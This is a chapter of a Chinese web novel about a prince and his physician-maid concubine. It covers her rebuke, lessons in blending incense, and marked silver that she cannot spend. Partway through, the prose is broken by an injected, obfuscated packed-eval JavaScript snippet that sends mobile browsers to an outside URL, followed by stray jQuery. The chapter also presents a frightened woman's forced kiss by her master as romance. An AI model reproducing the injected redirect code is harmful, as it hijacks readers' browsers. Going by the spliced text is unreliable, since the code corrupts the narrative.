15.第 15 章
作品:《千般旖旎春迟迟》 月地云斋的婢女都是未经人事的女孩儿,觉得王爷把芙小姐抱进暖阁待了许久才出来便是给她开过脸,唯有薛姑姑知道内情,却不点破。
因为王爷默认了。
主子默认的事,下人也得认,自是没有追根究底的道理。
崔令瞻正屈腿坐在罗汉床品茗,手肘支着旁边的花梨方几,另一手臂展开,随意地搭着扶手,舒展中又带着点慵懒的姿态把他的宽肩窄腰显露无遗,群青云纹的杭绸搭护领缘洁白。
程芙低头迈进来,走上前,屈膝施礼道:“王爷。”
崔令瞻抬眸,盯着她微微垂下的眉眼,慢慢地说:“挺厉害。”
程芙:“……”
一时品不出这话的真实意图,她便把头垂得更低,两手叠在腹部。
崔令瞻忽然笑了,“夸你医术。”
“王爷谬赞了。”程芙说,“奴婢仗着王爷宽容跑去一进院,刘家儿媳捡回性命终归是因王爷仁慈,刘家上下都对王爷感激不尽的。”
崔令瞻撩眼看她,“小小年纪,伶牙俐齿。”
“……”程芙两手轻轻攥了攥。
他目光落在了她手上,周身的锋芒立时收敛回去,默然须臾,柔声道:“救命的事,本王不与你计较,只是祖宗规矩在这里,你是本王的女人,从前的陋习不许再犯。”
“是,王爷。”
“有些事一旦开了先例,逾矩的人必将越来越多。”
“奴婢知道错了,甘愿领受王爷责罚。”
婢女们低着头退出了梢间。
崔令瞻朝程芙伸出一只手,程芙把手递给他,他立即握住,包在手心里,耐心地焐着她冰凉的十指。
“你明知我舍不得的。”他看着她,“小混蛋。”
一想到昨日的亲昵,年轻男子的语气沁着自己都未察觉的宠溺,程芙听在耳中,联想到了温润,这也导致一开始的她从没将他与任何邪肆阴狠之词联系起来。
程芙轻声问:“奴婢以后还能不能去一进院?”
崔令瞻的笑容旋即淡了,往后靠了靠,“等你自由,想去哪儿便去哪儿。”
“王爷说的是。”程芙见好就收。
自由,是他悬在她脸上的一张饼,程芙相信饼是真的,却也不会将所有希望都压在饼上,因为规矩由他说了算,何时吃到饼她说的不算。
“挣了多少诊金?”崔令瞻轻轻一拽,将走神的程芙拽进了怀中。
“二两银子并一枚金簪,分量挺沉的素面。”
崔令瞻“嗯”了声,“刘德挺大方。”
程芙抿笑说是。
崔令瞻静静地看了她一会,眼睫又长又密,鼻梁挺俏,靠近了就会有温热的气息从她肌肤里渗出,闻起来也是柔软细腻的。
他唤:“阿芙。”
程芙抬起眼眸看他,四目相睃,崔令瞻贴着她的唇,润了润,声线就暗哑了几分:“你的要求本王都会尽量满足,但这里与徐知县家不一样,清楚吗?”
“奴婢清楚。”程芙垂眸回,“奴婢从前确实犯了不少事,可那时没有王爷护着,奴婢的所作所为只不过是想活着。”
“想活着没有错,本王希望你永远活着。”
程芙“嗯”了声,将脸埋进他怀中,“王爷待奴婢这般好,衣食无一不精,出入有人伺候,动不动就赏奴婢好东西,奴婢便是再没有心也不会辜负您的。”
“果真?”他把她的脸从怀中捧出来,在她脸上努力寻找着蛛丝马迹,“你也知本王待你好?”
“嗯。”她点了点头,眉目娴静,娇怯亦娇媚。
崔令瞻目光如水,低头亲了亲她细嫩的红唇,“阿芙。”
他教她环住他的脖颈,自己则一手环住她的腰身,一手托住她的后颈,纠缠到了一处。
“嘴,张开。”
“王爷……”
程芙蹙眉,如此入侵式的吻颠覆了她的认知,从未有人这样冒犯她,她感到恐惧,求饶声被他的唇舌强行堵住,她被迫含了……
他肆意了一小会就心软了,缓缓松开了她,她眸中似有一层水雾,怔怔地躺在他怀中喘息。
连他的唇舌都不愿接纳,真的能承受他另一种方式的冒犯吗?
他抱了她一会。
“芳璃说你怕苦,总也不肯用红参泡茶喝。”
那是他好不容易为她寻来的,暖身驱寒。
程芙缓过气,轻轻道:“奴婢今天一定喝。”
“饿不饿?”他问。
他一提醒,她才想起自己尚未来得及用午膳,便如实地点点头。
崔令瞻吩咐摆膳,外面守着的人闻声开始在次间的炕桌上布置。
“以后本王在的话,你过来。”他说。
“是,王爷。”
“去吧。”外面的膳食摆好了。
“奴婢在您这里用膳会不会不合规矩?”
崔令瞻:“我说了算。”
程芙不再说什么,起身福了福去次间用饭了。
崔令瞻垂眸,独坐了许久,抬头视线穿过朦胧的珠帘,依稀望见她瘦削的背影,穿着绣了茉莉和蝴蝶的百迭裙,那么美。
她方才主动靠进他怀中,柔软香甜,他窃喜的同时却无比紧张。
崔令瞻想起了幼时捡到的一只小狗,不通人性,指东往西,不管喂它多少精肉玉脍也养不熟,后来才知那不是小狗,是一只还未成年的小狼。
他不信邪,坚持将它养大了,秋猎时它勇敢冲在最前面,聪明且灵巧,不仅懂他的手势也懂他的眼神,陪他轻骑猎鹿,飞鹰走马,直到他解开它脖颈束缚的革带,那天夜里它咬了他,头也不回冲进了茂密的丛林。
此后他再也没有见过它。
而他对阿芙的在意……其实一开始就不对劲,超过了合理的范围。
不过崔令瞻很快又冷静了下来,并为此找到了合理的解释:在阿芙之前,他从未与姑娘亲密相处过。
他是个成年男子,有着正常的身体、天然的需求,他对她的包容与疼爱出于最深层的欲-念,男人狩猎的时候都善于伪装。
午后小郡主要睡觉,未曾来月地云斋纠缠崔令瞻,崔令瞻也不去银安殿,更没有要去军营的意思,他在教程芙合香。
香料谓之香药,早在《黄帝内经》中便有记载,程芙视为岐黄之术的一个小分支,对此十分感兴趣,如今有大把名贵的香料供她挥霍,还有人免费教授,自是不学白不学的。
她神情认真,反倒使崔令瞻不敢生有亵-渎之心,不知不觉也认了真。
每种香都有其独特的药性和香气,香合得好不仅陶冶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433862|184773||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情操,亦能调理躯体,由内而外。
“王爷身上是什么香?”程芙有着旺盛的求知欲,崔令瞻衣领间的香气清新而不失沉稳,使人昏沉时醒神,躁郁时安宁。
“清英。”
“奴婢能看看香方吗?”
“好。”
他不仅给她看了香方,还手把手教她如何研磨、配伍混合、以蜜为剂调制香饼。
于崔令瞻而言也是奇异的经历,合香这般清雅私人的事,两个人做起来竟是如此有趣,他望着怀中人入了神的侧颜,不禁怦然,为自己与她共同经历了一件小事而雀跃。
“一起合的香应当怎么分?”他问。
“全是您的。”程芙不懂他一把年纪了,为何突然问如此幼稚的问题。
“我们独处时点上,只有我和你。”
他想与她被许多看得见的、看不见的联系起来,香也好,用膳也罢,乃至同床共枕。
崔令瞻取出一块隔火烘烤,清英很快在周遭流动,将他与她紧密地相连。
绿娆去了趟小厨房安排晚膳,回来与薛姑姑交割完径直回了茶水房。
一进门瞅见玉露也在,她诧异道:“你怎在这里躲懒?”
玉露回:“王爷和芙小姐独处,不叫我们跟着,只留了一人在门外伺候。”
绿娆:“……”
前后得有两个时辰了,大白天的,王爷做啥呢?
“合香玩的。”玉露感觉绿娆误会了什么,忽又想起另一茬,她喟叹道,“方才针线房的人来过,给芙小姐做了银狐裘的新斗篷,同王爷的那件一模一样。我悄悄摸了把,蓬松柔暖,手指一下就陷了进去。”
王爷可真疼芙小姐,玉露羡慕不已。
绿娆在心里想还不是你自己不争气,所有心眼都用来巴结薛姑姑,见着王爷便夹起尾巴,哪有芙小姐半分知情识趣,换她是王爷也更喜欢芙小姐。
“银狐裘?”绿娆陡然抓住重点,“我记得王爷专门猎了五只赤狐。”
用银狐皮子,王爷还真舍得。
玉露:“赤狐皮是要给芙小姐做宫毯的,加上王府的库存还能额外做一张炕褥。王爷说她手脚凉,踩着赤狐皮子生暖。”
绿娆可算是大开眼界,嘴唇动了动,不再说什么。
其实崔令瞻的“疼爱”于程芙而言不太有实用价值,东西确实赏了不少,贵也确实都是贵的,却鲜有能用来变现,银狐斗篷、敕造珠宝、珍馐美味,哪一样能拿出去卖?
好不容易盼到了月例,她想小夫人的怎么也得十五两吧,没曾想到手足有二十两,此外还多了一份一百两的,薛姑姑说旧例都是十五,可是王爷疼她,特特提到二十,然后那一百两也是王爷赏她傍身的。
可谓是缺什么来什么,面对一百二十两的大手笔,程芙心尖战栗,最想要的莫过现银或银票,崔令瞻此举多少有些震动了她。
芳璃送薛姑姑出门时,程芙忙拿起一锭,沉甸甸的十两,下一瞬脸色忽然变了,她忙又翻看检查了剩余的十一锭,每锭都刻着王府的公印。
心凉了半截。
这样的银子她怎么花?
准确地说是她不敢乱花,这种银子极容易溯源,正规店铺里还有专门的登记,但凡她花在歪门邪道必然说不清。
崔令瞻故意的吗?